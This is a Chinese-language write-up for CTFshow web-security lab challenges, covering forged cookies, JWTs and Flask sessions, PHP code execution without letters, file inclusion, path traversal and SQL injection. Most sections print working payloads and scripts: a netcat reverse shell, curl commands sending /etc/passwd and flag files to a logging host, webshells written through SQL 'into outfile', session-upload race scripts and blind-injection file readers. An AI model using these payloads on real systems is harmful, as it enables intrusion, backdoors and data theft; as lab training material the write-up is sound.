CTFshow web应用安全与防护 wp

发布于: 2025-09-04 22:14

第一章

Base64编码隐藏

Base64编码是一种常见的编码方式,可以将二进制数据转换为文本格式,常用于在URL、HTTP头等场景中传输数据。Base64编码使用64个字符(A-Z、a-z、0-9、+、/)来表示二进制数据,每三个字节的数据会被编码成四个字符。

注意,Base64编码并不是加密算法,只是一种编码方式,任何人都可以轻松解码回原始数据,所以在安全场景中不应该依赖Base64来保护敏感信息。

登录密码在html源码里写死,base64解码

HTTP头注入

User-Agent(UA头)是HTTP请求中的一个字段,表示用户使用的浏览器或客户端软件的信息。用户可以在HTTP请求中自定义UA头,在CTF基础题目中,会有一些题目,验证用户的UA头是否符合特定要求,如果不符合要求,就无法登录成功或者访问特定资源。

使用源码里的密码登录,提示需要使用指定的ua头

3

Base64多层嵌套解码

前端验证逻辑

document.getElementById('loginForm').addEventListener('submit', function(e) {
            const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=";

            function validatePassword(input) {
                let encoded = btoa(input);
                encoded = btoa(encoded + 'xH7jK').slice(3);
                encoded = btoa(encoded.split('').reverse().join(''));
                encoded = btoa('aB3' + encoded + 'qW9').substr(2);
                return btoa(encoded) === correctPassword;
            }

            const enteredPassword = document.getElementById('password').value;
            const messageElement = document.getElementById('message');

            if (!validatePassword(enteredPassword)) {
                e.preventDefault();
                messageElement.textContent = "Login failed! Incorrect password.";
                messageElement.className = "message error";
            }
        });

加密逻辑:

btoa(input)→ Base64 编码原始密码。

btoa(encoded + 'xH7jK').slice(3)→ 拼接固定字符串,再编码并截取。

btoa(反转字符串)→ 反转并 Base64 编码。

btoa('aB3' + encoded + 'qW9').substr(2)→ 拼接固定头尾,再编码并截取。

btoa(encoded) === correctPassword→再base64, 最终比对。

逆向解密:

  • base64解码

  • 解码后的字符串前面爆破两个字符串,再尝试base64解码,要得到aB3+encoded+qW9的格式

  • 再次base64解码,反转

  • 尝试开头爆破3个字符串,base64解码得到以xH7jk结尾的一次base64编码内容

  • base64解码,得到最终用户应该输入的密码

    import base64
    import itertools
    import string
    import requests
    
    # 加密函数
    def encrypt(password):
        s = base64.b64encode(password.encode()).decode()
        s = base64.b64encode((s + 'xH7jK').encode()).decode()[3:]
        s = base64.b64encode(s[::-1].encode()).decode()
        s = base64.b64encode(f'aB3{s}qW9'.encode()).decode()[2:]
        return base64.b64encode(s.encode()).decode()
    
    # 爆破前缀函数
    def brute_prefix(target_b64, start_marker='', end_marker='', prefix_len=2, charset=None):
        charset = charset or string.ascii_letters + string.digits
        for prefix in itertools.product(charset, repeat=prefix_len):
            candidate = ''.join(prefix) + target_b64
            try:
                decoded = base64.b64decode(candidate).decode('utf-8', errors='ignore')
                if decoded.startswith(start_marker) and decoded.endswith(end_marker):
                    return ''.join(prefix), decoded
            except Exception:
                continue
        return None, None
    
    # 初始 Base64 字符串
    fuck_str = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU="
    re_step5 = base64.b64decode(fuck_str.encode())
    
    # Step 1: 爆破前缀找到 aB3 ... qW9
    prefix1, step3 = brute_prefix(re_step5.decode(), start_marker='aB3', end_marker='qW9', prefix_len=2)
    if not step3:
        print("❌ 未找到匹配前缀1")
        exit()
    
    step3_inner = step3[3:-3]
    step2 = base64.b64decode(step3_inner).decode()[::-1]
    
    # Step 2: 爆破前缀找到最终密码
    chars_plus = string.ascii_letters + string.digits + '+'
    final_password = None
    for prefix2 in itertools.product(chars_plus, repeat=3):
        prefix_str2 = ''.join(prefix2)
        candidate = prefix_str2 + step2
        try:
            decoded = base64.b64decode(candidate).decode('utf-8', errors='ignore')
            if decoded.endswith('xH7jK'):
                temp_pass = base64.b64decode(decoded[:-5]).decode()
                if encrypt(temp_pass) == fuck_str:
                    final_password = temp_pass
                    print(f"✅ 找到密码: {final_password}")
                    break
        except Exception:
            continue
    
    if not final_password:
        print("❌ 未找到最终密码")
        exit()
    
    # Step 3: 使用 requests 验证密码
    url = "http://2f7feaf3-cd7e-42a1-9663-9015fbf403c2.challenge.ctf.show/check.php"
    headers = {"User-Agent": "ctf-show-brower"}
    data = {"username": "admin", "password": final_password}
    
    resp = requests.post(url, headers=headers, data=data)
    if "Login failed! Incorrect password." not in resp.text:
        print(f"✅ 密码验证成功!正确密码: {final_password}")
        # print(resp.text)
    else:
        print("❌ 密码验证失败")
    

HTTPS中间人攻击

HTTPS中间人攻击是指攻击者在通信双方之间插入自己,截获并可能篡改双方的通信内容。如果攻击者具有相应的密钥,就可以解密并篡改通信内容。

下载附件解压,一个ssllog.txt,一个流量包

wireshark打开流量包看不到内容,https流量加密了,需要使用ssllog.txt这个附件密钥解密

具体操作参考文章[Wireshark抓包工具解析HTTPS包 ](https://www.cnblogs.com/CodeReaper/p/16007397.html)

编辑》首选项》protocols》tls

导入密钥后可以看到http明文流量了

Cookie伪造

Cookie是Web服务器发送给用户浏览器的一小段数据,通常用于存储用户的会话信息、偏好设置等。在一些CTF基础题目中,可能会有一些题目要求通过伪造Cookie某些值来绕过身份验证或访问受限资源。

弱密码guest/guest成功登录

在cookie里有role=guest的值,修改为admin,拿到flag

9

第二章

一句话木马变形

测试发现不能含有空格,引号,尝试无参函数实现rce

POST:code=eval(array_pop(next(get_defined_vars())));&1=phpinfo();

payload 解释:

  • get_defined_vars() 获取当前作用域内的所有变量,返回一个关联数组。
  • next() 将内部指针向前移动一位,并返回当前元素的值。这里用来获取最后一个定义的变量。
  • array_pop() 从数组末尾弹出一个元素并返回它。这里用来获取最后一个定义的变量的值。
  • 同时传入一个新的POST参数1=phpinfo(),这个参数会被get_defined_vars()捕获到,成为当前作用域内的一个变量。由于array_pop(next(get_defined_vars()))会获取到这个新定义的变量的值,也就是phpinfo()函数调用的结果,并将其作为参数传递给eval()函数,从而实现了代码执行。

反弹shell构造

无回显命令执行是指攻击者在目标系统上执行命令,但无法直接看到命令的输出结果。这种情况下,攻击者需要使用其他方法来获取命令执行的结果,例如反弹shell、外带回显等方式。

这题就是无回显命令执行

什么是公网服务器?公网服务器是指直接连接到互联网的服务器,可以被全球访问。国内大多数服务器提供商提供的服务器都是公网服务器,可以直接使用公网IP进行访问。

公网服务器监听(个人电脑一般没有公网IP,如果这里使用你的电脑ip,大概会收不到响应)

nc -lvnp 4444

靶机反弹shell

nc -e /bin/sh 公网服务器ip 4444

14

没有公网服务器,可以试试dnslog、weblog,直接外带

平台推荐【dnslog/weblog】,参考往期文章【使用weblog平台接收无回报RCE命令执行结果】

code=curl 219tzymz.eyes.sh -X POST -d "1=`cat f*;cat /f*`"

payload 解释:

  • curl 219tzymz.eyes.sh -X POST -d "1=cat f;cat /f":使用curl命令向指定的weblog平台发送一个POST请求,数据部分包含了一个参数1,其值是通过反引号执行的命令结果。

或者写webshell

code=echo "<?php highlight_file(__FILE__);eval($_GET[1]);?>" > 1.php

payload 解释:

  • 使用 echo 命令将一个 webshell 的代码重定向输出到当前目录下的 1.php 文件中。

13

管道符绕过过滤

这里题目环境类似下面,考察linux shell环境怎么一句话执行多个命令

<?php
    $cmd = $_GET['code'];
    system("ls $cmd");

可以使用;||&&等管道符来分割多条命令,这样一句话就可以执行多条命令

; (顺序执行,不管对错)

|| (逻辑或,前一个失败才执行后一个)

&& (逻辑与,前一个成功才执行后一个)

好,知道了上面3点,看看下面命令如何执行

ls;whoami
ls||whoami
ls&&whoami

1,3成功执行两条命令,2命令只执行了ls

为什么payload使用&&whoami也只执行了ls命令?,&在传参过程有特殊语义,需要url编码一下

那么查看flag

ls;tac f*

无字母数字代码执行

随便输入点什么,后端报错,使用的eval来执行字符

16

用ai简单写了一个纯前端payload生成页面无字母数字代码执行payload生成,实现细节参考PHP无字母数字RCE 或、异或、取反实现

几种方式实现的payload

# payload:assert("eval($_POST[1]);");
# 取反
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
# 异或
(('%bf'^'%de').('%bf'^'%cc').('%bf'^'%cc').('%bf'^'%da').('%bf'^'%cd').('%bf'^'%cb'))(('%bf'^'%da').('%bf'^'%c9').('%bf'^'%de').('%bf'^'%d3').('%df'^'%f7').('%df'^'%fb').('%bf'^'%e0').('%bf'^'%ef').('%bf'^'%f0').('%bf'^'%ec').('%bf'^'%eb').('%bf'^'%e4').('%df'^'%ee').('%bf'^'%e2').('%df'^'%f6').('%df'^'%e4'));
# 或
(('%61'|'%61').('%73'|'%73').('%73'|'%73').('%65'|'%65').('%72'|'%72').('%74'|'%74'))(('%65'|'%65').('%76'|'%76').('%61'|'%61').('%6c'|'%6c').('%28'|'%28').('%24'|'%24').('%5f'|'%5f').('%50'|'%50').('%4f'|'%4f').('%53'|'%53').('%54'|'%54').('%5b'|'%5b').('%31'|'%31').('%5d'|'%5d').('%29'|'%29'));

什么是Burp? Burp Suite是具有代理服务器、扫描器、爬虫、Intruder(爆破工具)的多功能集成网络安全工具.你必不可少的安全测试工具之一,请先准备好的你Burp.

生成的payload要使用burp发送

这个过程涉及到了 burp 的抓包、修改请求、发送请求等操作,可以到B站找些相关视频学习熟练一下操作.

无字母数字命令执行

这道题是命令执行,无字母、数字,无回显,尝试外带或者反弹shell,在上传写入webshell时,文件是空的比较奇怪

使用了linux下 . file执行文件内容的特性

由于不确定seesion文件路径

import requests
import threading
import time
import signal
import sys

# 靶机链接
url = 'http://a9dbdc84-611d-455a-9f9e-c7b8dc599cdf.challenge.ctf.show/'
shell_url = url + "44.txt"
sessionid = 'cnmusa'

data = {
    'PHP_SESSION_UPLOAD_PROGRESS': 'ls > 44.txt;curl -X POST http://219tzymz.eyes.sh -d "1=`cat /etc/passwd;cat /var/www/html/*;cat /f*`"',
}

file = {
    'file': sessionid
}

cookies = {
    'PHPSESSID': sessionid
}

# 常见 session 文件路径列表
# session_paths = [
#     f"/var/lib/php/sess_{sessionid}",
#     f"/var/lib/php/sessions/sess_{sessionid}",
#     f"/tmp/sess_{sessionid}",
#     f"/tmp/sessions/sess_{sessionid}"
# ]
str_len = len(sessionid)
payload = "?"*str_len
session_paths = [
    f". /???/???/???/????_{payload}",
    f". /???/???/???/????????/????_{payload}",
    f". /???/????_{payload}",
    f". /???/????????/????_{payload}"
]

# 全局停止事件
stop_event = threading.Event()

def upload_file():
    while not stop_event.is_set():
        try:
            requests.post(url, data=data, files=file, cookies=cookies, timeout=3)
        except requests.RequestException:
            pass
        # time.sleep(1)

def check_file():
    while not stop_event.is_set():
        try:
            # 尝试所有常见 session 文件路径
            for path in session_paths:
                print(f"Trying path: {path}")
                requests.post(url, data={"code": path}, timeout=3)

            r = requests.get(shell_url, timeout=3)
            if r.status_code == 200:
                print('Webshell created successfully')
                print(r.text)
                stop_event.set()  # 文件创建成功,通知所有线程退出
                break
            else:
                print(f"{r.status_code}")
        except requests.RequestException:
            pass
        # time.sleep(1)

# Ctrl+C 捕获处理
def signal_handler(sig, frame):
    print("\nCtrl+C 捕获,正在退出...")
    stop_event.set()
    sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)

# 启动线程
threads = []
for _ in range(5):
    t = threading.Thread(target=upload_file, daemon=True)
    t.start()
    threads.append(t)

for _ in range(15):
    t = threading.Thread(target=check_file, daemon=True)
    t.start()
    threads.append(t)

# 主线程等待事件
try:
    while not stop_event.is_set():
        time.sleep(0.5)
except KeyboardInterrupt:
    stop_event.set()

for t in threads:
    t.join()

第三章

日志文件包含

nginx访问日志路径:/var/log/nginx/access.log

包含nginx日志,控制ua头内容,放入php代码。执行命令,日志文件内容太多了,把flag写到新文件里查看

这个过程发生了什么?

    1. 访问日志文件,包含了我们之前控制的UA头内容,成功写入一句话木马到日志里了
    1. file 指定了日志文件路径,读取日志文件内容,当前php文件包含了日志内容,并做为php代码来执行,所以会执行日志里的一句话木马.
    1. 利用日志的webshell,查看flag把内容重定向到新文件里了,访问新文件 1.txt 拿到flag

18

php://filter读取源码

php://filter是PHP中的一个伪协议,允许开发者在读取文件时对其内容进行过滤和转换。通过使用php://filter,可以在读取文件的同时对其内容进行编码、解码、压缩等操作。这在某些情况下可以用来绕过安全机制或者获取敏感信息,例如读取源码。

这道题存在文件包含漏洞,文件包含通常可以与php://filter伪协议来读取文件

file=php://filter/convert.base64-encode/resource=index.php

base64解码,发现可疑文件db.php,再用伪协议读取db.php

20

base64解码db.php内容,拿到flag

21

远程文件包含(RFI)

包含远程服务器上的webshell文本内容

在博客上放了一个txt文件,方便直接文件包含,webshell地址: https://the0n3.top/shell/1.txt

<?php highlight_file(__FILE__);eval($_GET[1]);?>

22

路径遍历突破

path=index.php读取index.php源码

  • 禁止日志、各种协议:/
  • 禁止/,../开头
  • flag在/flag.txt
<?php

if (isset($_GET['path']) && $_GET['path'] !== '') {
$path = $_GET['path'];
if(preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path) ){
echo '<span style="color:#f00;">禁止访问敏感目录或文件</span>';
exit;
}

#禁止以/或者../开头的文件名
if(preg_match('/^(\.|\/)/', $path)){
echo '<span style="color:#f00;">禁止以/或者../开头的文件名</span>';
exit;
}

echo $path."内容为:\n";
echo str_replace("\n", "<br>", htmlspecialchars(file_get_contents($path)));
} else {
echo '<span style="color:#888;">目标flag文件为/flag.txt</span>';
}
?>

这里要用的路径穿越,如果使用想要回到/目录,可以使用../../../一步步往上走,但是这里禁止/或者../开头,所以可以尝试在前面添加一个不存在的路径,在寻找文件时,会自动忽略不存在的目录,继续后面的目录穿越操作,最后回到根目录

aaa/../../../../../../../../flag.txt

24

临时文件包含

session 文件是 PHP 用来存储用户会话数据的临时文件,通常位于服务器的临时目录中。当用户访问网站时,PHP 会为每个用户创建一个唯一的 session 文件,用于存储该用户的会话信息。在默认配置下,用户可以控制 session 文件内容来实现文件包含漏洞的利用.

脚本梭哈

import io
import requests
import threading
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://0253528e-43f1-427b-b1f1-81fc84692b2d.challenge.ctf.show/'
sessionid = 'ctfshow'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>'},
        files={'file':('1.jpg',fileBytes)}
        )

def read(session):
    while True:
        session.get(url + '?path=/tmp/sess_' + sessionid) # 进行文件包含
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')
            return ''

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(5):
    threading.Thread(target = write,args = (session,)).start()
for i in range(5):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()

34

第四章

Session固定攻击

没看懂,登录发送信息就有flag了

25

JWT令牌伪造

jwt(JSON Web Token)是一种用于在网络应用环境中安全传输信息的开放标准。JWT令牌由三部分组成:头部(Header)、载荷(Payload)和签名(Signature)。头部通常包含加密算法和令牌类型,载荷包含实际传输的数据,而签名则用于验证令牌的完整性和真实性。

拿自己的jwt令牌解析一下

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "user": "admin",
  "admin": false
}

使用脚本把加密算法伪造为none

伪造脚本

import base64
import json

def b64url_encode(data: bytes) -> str:
    """Base64 URL-safe 编码,去掉填充 ="""
    return base64.urlsafe_b64encode(data).decode().rstrip("=")

# Header: alg=none
header = {"alg": "none", "typ": "JWT"}
payload = {"user": 'admin', "admin": "false"}  # 你要伪造的用户数据

# 分别编码
header_b64 = b64url_encode(json.dumps(header).encode())
payload_b64 = b64url_encode(json.dumps(payload).encode())

# 拼接 JWT,签名为空
jwt = f"{header_b64}.{payload_b64}."

print("伪造的 JWT:")
print(jwt)

Flask_Session伪造

点击爬取百度,直接加载了一个百度首页,看到url比较可疑

尝试直接读取/etc/passwd,无果

目录穿越../../../../../../../../../../../../etc/passwd,无果

尝试file:///etc/passwd协议,成功

27

flask工作目录比较常见的是/app/app.py,尝试读取源码

28

源码

# encoding:utf-8
import re
import random
import uuid
import urllib.request
from flask import Flask, session, request

app = Flask(__name__)

# 随机生成一个 SECRET_KEY
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 100)
print(app.config['SECRET_KEY'])

app.debug = False


@app.route('/')
def index():
    session['username'] = 'guest'
    return 'CTFshow 网页爬虫系统 读取网页'


@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        if re.findall('flag', url, re.IGNORECASE):
            return '禁止访问'
        res = urllib.request.urlopen(url)
        return res.read().decode('utf-8', errors='ignore')
    except Exception as ex:
        print(str(ex))
        return '无读取内容可以展示'


@app.route('/flag')
def flag():
    if session.get('username') == 'admin':
        return open('/flag.txt', encoding='utf-8').read()
    else:
        return '访问受限'


if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0")

阅读源码可以知道,不允许url里出现flag,出现会鉴权,所以需要伪造admin session

Python random.random() 是确定性的,种子相同,输出完全相同,只要读取到机器MAC地址,就可以精准计算出密钥

读取机器码

read?url=file:///sys/class/net/eth0/address

拿到机器码02:42:ac:0c:fc:3d

计算密钥SECRET_KEY

import random

mac = int("02:42:ac:0c:fc:3d".replace(":",""),16) # 已知的 MAC 地址
random.seed(mac)
key = str(random.random()*100)
print(key) # 79.43065193591464

使用【flask-session-cookie-manager】来伪造seesion

python3 .\flask_session_cookie_manager3.py decode -s "79.43065193591464"  -c "eyJ1c2VybmFtZSI6Imd1ZXN0In0.aLg2YA.Bq9NjyH26PAyzl3YjpBKIIgHOVQ"

python3 .\flask_session_cookie_manager3.py encode -s "79.43065193591464" -t "{'username':'admin'}"

更换session访问/flag拿到flag

弱口令爆破

下载题目提供的字典,导入burp intrude模块爆破密码,尝试admin用户

31

32

admin/834100

第五章

联合查询注入

sqlmap秒了

python3 sqlmap.py -u "https://5339d65e-55dc-434a-86b7-073e1c9f2d2d.challenge.ctf.show/?id=4" -p id --dbs --batch

available databases [5]:
[*] ctfshow_page_informations
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

python3 sqlmap.py -u "https://5339d65e-55dc-434a-86b7-073e1c9f2d2d.challenge.ctf.show/?id=4" -p id --dbs --batch -D --tables

Database: ctfshow_page_informations
[2 tables]
+-------+
| pages |
| users |
+-------+
python3 sqlmap.py -u "https://5339d65e-55dc-434a-86b7-073e1c9f2d2d.challenge.ctf.show/?id=4" -p id --dbs --batch -D ctfshow_page_informations --tables -T users --dump

Database: ctfshow_page_informations
Table: users
[1 entry]
+----+----------------------------+----------+
| id | password                   | username |
+----+----------------------------+----------+
| 1  | CTF{admin_secret_password} | admin    |
+----+----------------------------+----------+

布尔盲注爆破

username,password都存在sql注入

尝试联合查询写入webshell

虽然页面报错了,但是成功写入到文件里了

写入webshell

password=1' union select 1,2,'<?php eval($_POST[1]);?>' into outfile'/var/www/html/1.txt'%23&username=1

蚁剑连接,找到数据库配置内容

39

蚁剑连接数据库,查看flag

40

堆叠注入写shell

burp抓包对参数进行fuzz

42

在 username 值为\时,页面响应长度出现不同。说明可能转义了 登录查询语句包裹 username 的引号,导致语法错误

可以猜测常见登录语句

<?php
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

转义后,$username的单引号会匹配到 $password的单引号,最后多出一个单引号,$password整个值可控,password前已经有了单引号,再使用单引号闭合会语法错误,所以 password位置不需要闭合了,把后面单引号注释掉就可以了

username=\&password=or 1=1#

出现welcome,登录成功的逻辑,说明存在sql注入

有不同回显,可以用来布尔盲注

43

可以成功执行sleep函数,存在堆叠注入、时间盲注

username=\&password=or 1=1;select sleep(5)#

现在有三种方式注入

  • 布尔盲注
  • 时间盲注
  • 堆叠注入

那还是布尔盲注快一点,写个脚本,写脚本过程,发现题目过滤了'单引号,把单引号置空了,双引号还能用

写马子

双引号还能用?直接写马子

username=\&password=or 1=1;select "<?php highlight_file(__FILE__);eval(\$_POST[1]);?>" into outfile "/var/www/html/1.php"#

布尔盲注

布尔盲注发现数据库里是fake flag

import requests

url = "http://5225f93f-e444-49d0-9bbb-fac89d89c23c.challenge.ctf.show/login.php"
flag = ""

i = 0
while True:
    i += 1
    low, high = 32, 126
    while low < high:
        mid = (low + high + 1) // 2
        # payload = f"or if(ascii(substr((select user()),{i},1))<{mid},1,0)#"

        # 爆库
        # information_schema,test,mysql,performance_schema,ctfshow_page_informations
        # payload = f"or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))<{mid},1,0)#"
        # 爆表
        # pages,users
        # payload = f"or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{mid},1,0)#"
        # 爆列
        # USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
        # payload = f"or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\"users\"),{i},1))<{mid},1,0)#"
        # 爆users 表 password
        # CTF{this_is_a_fake_flag}
        # payload = f"or if(ascii(substr((select concat(password) from users),{i},1))<{mid},1,0)#"
        data = {"username": "\\", "password": payload}
        r = requests.post(url, data=data)
        # print(f"[+]payload: {payload}")
        if "Welcome" in r.text:
            high = mid - 1
        else:
            low = mid

    if low <= 32 or low >= 126:
        break

    flag += chr(low)
    print(f"[+]flag: {flag}")

print(f"[+]flag: {flag}")

其实整个过程开始以为单双引号都过滤了,所以用的其他方式,并且读到了源码,读美了

  • 布尔盲注 + load_file 读取文件
  • hex编码、char函数写入webshell

布尔盲注读取文件,属于运气好,猜到flag.txt文件名了,换个难猜的就必须写🐎了

44

使用concathex函数读取文件

import requests

url = "http://5225f93f-e444-49d0-9bbb-fac89d89c23c.challenge.ctf.show/login.php"

flag = ""
i = 1

# 文件路径转十六进制
def str2hex(s):
    return "0x" + s.encode("utf-8").hex()

file_path = str2hex("/etc/passwd")
# file_path = str2hex("/var/www/html/login.php")
# file_path = str2hex("/flag.txt")
print("[#] LOAD_FILE 路径:", file_path)

def visual_char(c):
    """把特殊字符可视化"""
    if c == "\n":
        return "\\n"
    elif c == "\r":
        return "\\r"
    elif c == "\t":
        return "\\t"
    elif ord(c) < 32 or ord(c) > 126:
        return f"\\x{ord(c):02x}"
    else:
        return c

while True:
    low, high = 10, 127  # ASCII 可打印和特殊字符范围

    while low + 1 < high:
        mid = (low + high) // 2
        payload = f"or IF(ASCII(SUBSTR(LOAD_FILE({file_path}),{i},1))<{mid},1,0)#"
        data = {"username": "\\", "password": payload}
        r = requests.post(url, data=data)

        if "Welcome" in r.text:
            # 条件成立 → 字符 < mid
            high = mid
        else:
            # 条件不成立 → 字符 >= mid
            low = mid

    # 文件结束检测:LOAD_FILE 返回 NULL 或不可读
    if low <= 0:
        print("[#] 文件读取结束")
        break

    c = chr(low)
    flag += c
    print(f"[+] 当前 flag: {''.join([visual_char(ch) for ch in flag])}")

    i += 1

可以读取到/var/www/html/login.php源码

<?php
error_reporting(0);

include_once("conn.php");

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';

    // 去掉单引号防止 SQL 注入尝试(不安全方式)
    $username = str_replace("'", "", $username);
    $password = str_replace("'", "", $password);

    // SQL 查询
    $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

    if ($conn->multi_query($sql)) {
        do {
            if ($result = $conn->store_result()) {
                if ($result->num_rows > 0) {
                    session_start();
                    $_SESSION['username'] = $username;
                    header("Location: main.php");
                    exit();
                }
                $result->free();
            }
        } while ($conn->more_results() && $conn->next_result());
    } else {
        echo "<script>alert('Invalid username or password');history.back();</script>";
    }
} else {
    header("Location: index.php");
    exit();
}
?>

使用concatchar函数读取文件

import requests

url = "http://5225f93f-e444-49d0-9bbb-fac89d89c23c.challenge.ctf.show/login.php"

target = ""
i = 1

# 使用 char 函数绕过引号 读取文件路径
file_path = "/etc/passwd"
# file_path = "/var/www/html/login.php"
# file_path = "/flag.txt"
char_codes = [str(ord(c)) for c in file_path]
path = "CONCAT(CHAR({}))".format(",".join(char_codes))
print("[#] LOAD_FILE 路径:", path)

def visual_char(c):
    """把特殊字符可视化"""
    if c == "\n":
        return "\\n"
    elif c == "\r":
        return "\\r"
    elif c == "\t":
        return "\\t"
    elif ord(c) < 32 or ord(c) > 126:
        return f"\\x{ord(c):02x}"
    else:
        return c

while True:
    low, high = 10, 126  # 支持换行 (\n) 到可见 ASCII

    while low + 1 < high:
        mid = (low + high) // 2
        payload = f"OR IF(ASCII(SUBSTR(LOAD_FILE({path}),{i},1))<{mid},1,0)#"
        data = {"username": "\\", "password": payload}

        r = requests.post(url, data=data)

        if "Welcome" in r.text:
            high = mid
        else:
            low = mid

    # 判断文件结束
    if low <= 0:
        print("[#] 文件读取结束")
        break

    c = chr(low)
    target += visual_char(c)
    print(f"[+] 当前结果: {target}")

    i += 1

WAF绕过

不知道过滤了什么,直接写webshell,仍然可行

password=1&username=1'%09union%09select%091,2,'<?=phpinfo();?>'%09into%09outfile'/var/www/html/1.php'%23

写入webshell,蚁剑查看数据库配置,连接数据库,查看flag